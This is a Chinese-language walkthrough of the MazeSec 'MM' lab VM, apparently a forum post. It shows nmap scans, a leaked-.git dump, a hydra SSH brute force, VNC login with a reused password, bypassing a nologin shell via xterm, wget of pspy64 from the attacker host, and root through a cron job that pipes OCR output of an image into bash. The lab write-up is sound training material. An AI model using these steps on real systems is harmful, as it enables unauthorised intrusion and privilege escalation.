靶机来自 MazeSec(迷踪安全):MazeSec | About
靶机名:MM
作者 :dsz
AI总结
今天复盘一下MM靶机。
为了防止有新手不知道打靶机的流程,这次从部署环境开始。(因为我一开始是打ctf的,第一次打靶机还真不知道怎么开始)
环境搭建
本次教程都以MazeSec自制靶机举例,其他的都万变不离其宗。
我们首先下载好靶机环境文件,一般都是一个ova文件。全称:Open Virtualization Appliance(开放虚拟化设备)
其中包括了完整配置信息和虚拟磁盘数据(也就是打开即用的虚拟机,基本不需要在配置,除了网络之类的)

拿到靶机后我们用 VirtualBox打开(MazeSec的靶机优先支持VirtualBox,VMware有可能会有找不到网卡的情况)

我们依次点击:管理—>导入虚拟电脑—>选择文件(需要的靶机ova文件)
我们可以选择改一下位置,我改成了D盘里自建的文件夹。

然后点击完成。等待导入完全(右上角有进度条)

导入后右边可以看到配置详情,我们几乎不要去管,但是有时候会碰到没有找到ip的情况,我们看一看网络设置对不对。这里建议直接选择桥接,特别是对于VMware上部署kali的师傅,两个平台的nat网段是不同的(如果你是网络高手或许可以自己去调一下,相关密码需要进入社区获取 )
然后双击即可打开靶机。我们打开可能会遇到如下报错,不要管他,点一下更改网络设置然后点确定退出就好了。
信息收集
打开靶机后我们就不要管他了(也可以看,我是为了尽量模拟真实环境)
回到我们的攻击机(kali等),注意kali也要桥接哦~
我们nmap起手收集一下目标ip
$ nmap 172.20.10.0/24 -sn #-sn是只发ping包扫描

找到VirtuaBox的网卡就是靶机地址了。
ip:
172.20.10.3
然后在扫一下端口开放情况。
$ nmap -p- 172.20.10.3 #-p-代表扫描全端口

开放
22、80、5901、6001四个端口。
vnc复盘
- VNC 是一种让你用一台电脑(客户端)远程操作另一台电脑(服务器)桌面的技术
5901/tcp:VNC 服务的主端口 大门,你从这里连接进去|
6001/tcp:X11 服务端口(Linux图形底层)内部管道,服务器自己用的,你不需要管它|
:1:(显示编号)这是第1号图形会话 如果同时开多个桌面,就是 :1、:2…|
连接命令:
vncviewer 172.20.10.3:5901
就和22端口的ssh一样,但是这里突然开始一个vnc也很不正常,需要留意一下。
和ssh一样有可能被暴力破解的可能
初步渗透测试-获取user-shell
我们一般有web的话就先去web看看,因为web的洞会简单一点。

一个静态页面,没思路,那么就去扫一下目录。
$ dirsearch -u 172.20.10.3

看到泄露了很多git文件,那么就是git泄露,我们用工具扒下来看看。
root@JYlover:~/webtool/GitHacker# githacker --url http://172.20.10.3/.git/ --output-folder result

看到有几次提交记录,我们能得到一个域名
mm.dsz这里我尝试添加一个hosts记录,果然访问到一个登录页面。
不能输入和点击,尝试修改前端代码,但是最后发现完全没有用,就是一个壳子。那这条路就断了。
注意,这里由于环境变化,下面的ip和上面不一样,大家自行理解一下。
于是我们只能再次回到git。

我把几次的git记录都看了一遍,发现过程中添加又删除了一个密码
sublarge。
尝试用它登录ssh或者vnc,但是都不对。
那没办法,git里也没有什么信息了(4次提交都看过了)
那就只剩下爆破这条路了。我们hydra试试。
┌──(kali㉿JYlover)-[~]
└─$ hydra -l mingmingjiu -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.103 -t 4 -e nsr
这里添加-e nsr参数测试了弱密码,没想到果然就是用户名复用。
那我们尝试ssh登录。
┌──(kali㉿JYlover)-[~]
└─$ ssh mingmingjiu@192.168.56.103
#password:mingmingjiu
但是发现登陆成功却直接退出。

原因是该用户的shell被禁用,但是密码是正确的。

既然shell被禁用了,我们可以想到,这里留一个vnc是做什么的,是否存在密码复用问题呢,尝试登录。
┌──(kali㉿JYlover)-[~]
└─$ vncviewer 192.168.56.103:5901
# password:mingmingjiu

成果登录上了vnc桌面。
权限提升-获取root-shell
我们现在是没有shell权限的,那么怎么办呢,这里有一个办法是用其他终端,xterm

然后这里就直接弹了一个shell回来,做权限维持
关于shell权限复盘
这里为什么我们不能ssh登录,也不能直接用terminal,但是用xterm这些古老的终端却可以。
我们先看一下用户信息:
mingmingjiu@MM:~$ cat /etc/passwd

能看到mingmingjiu用户的默认shell是
/usr/sbin/nologin
我们ssh登录时:验证成功后,系统会尝试启动你在 /etc/passwd 中定义的 Shell(例如 /bin/bash)
如果定义的是/usr/sbin/nologin,系统就会运行这个程序,它会打印一段文字(通常是 “This account is currently not available.”),然后直接断开连接。
而自带terminal也是直接去打开默认shell,但是这里默认shell是nologin。
而古老的xterm,他不知道去主动找用户默认shell,而是呆呆的直接启动一个sh
所以他没有收到/etc/passwd的影响。
得到shell之后我们就尝试去权限提升了。
我们传一个pspy64到靶机(这是一个监控程序,会一直监控当前的进程,主要是发现一些存在的定时任务等)
这里可能有些刚接触靶机的师傅会不知道,一般我们打靶机会自备一些常用的工具箱,里面有一些什么漏洞扫描,进程监控等等工具,到了提权的时候可以把工具传上去帮助我们信息收集。例如:

这里就是我的工具箱,获得低权限shell时起http服务传一些工具上去。然后靶机上下载下来直接监控:
mingmingjiu@MM:~$ wget 192.168.56.1:8888/pspy64

就不全部截图了,有点长,大家明白意思就好了。
然后我们直接pspy监控进程:
mingmingjiu@MM:~$ chmod +x pspy64
chmod +x pspy64
mingmingjiu@MM:~$ ./pspy64

明显能看到有些程序在重复执行,而且还是以root身份执行的(UID=0),说明很有可能是作者留给我们的提权点。
能注意到其中有一个
/bin/sh -c /bin/bash /opt/a.sh
一直作为定时任务在执行,后面应该就是它里面执行的命令了。
我们去看看这个文件。
mingmingjiu@MM:~$ cat /opt/a.sh

是bash执行gocr后的结果,这个gocr是什么,我们可以去问一下ai。

很简单,就是把图片里面的文本识别出来。OCR模型就是这个作用。
也就是说如果我们有一张图片 1.png , 里面写着id
然后我们执行gocr ./1.png | bash
就会输出id命令的结果。
那么就很简单了,也就是说只要我们把/tmp/go.png换成我们自制的命令图片,然后等定时任务执行。那就可以以root身份执行任意命令了。达到定时任务提权的目的。
总结
总结一下这次靶机接触到的一些知识吧。
- vnc是一种和ssh类似的连接远程桌面的技术,通过命令连接
vncviewer <ip>:<port>
- 当
/etc/passwd中给用户默认shell指定为/usr/sbin/nologin时会导致ssh,以及现代的终端模拟器失效。此时可以使用一些古老的终端如xterm等直接起一个终端,而不是走默认终端。 - 可以通过工具等,多注意定时任务的执行
2 个帖子 - 2 位参与者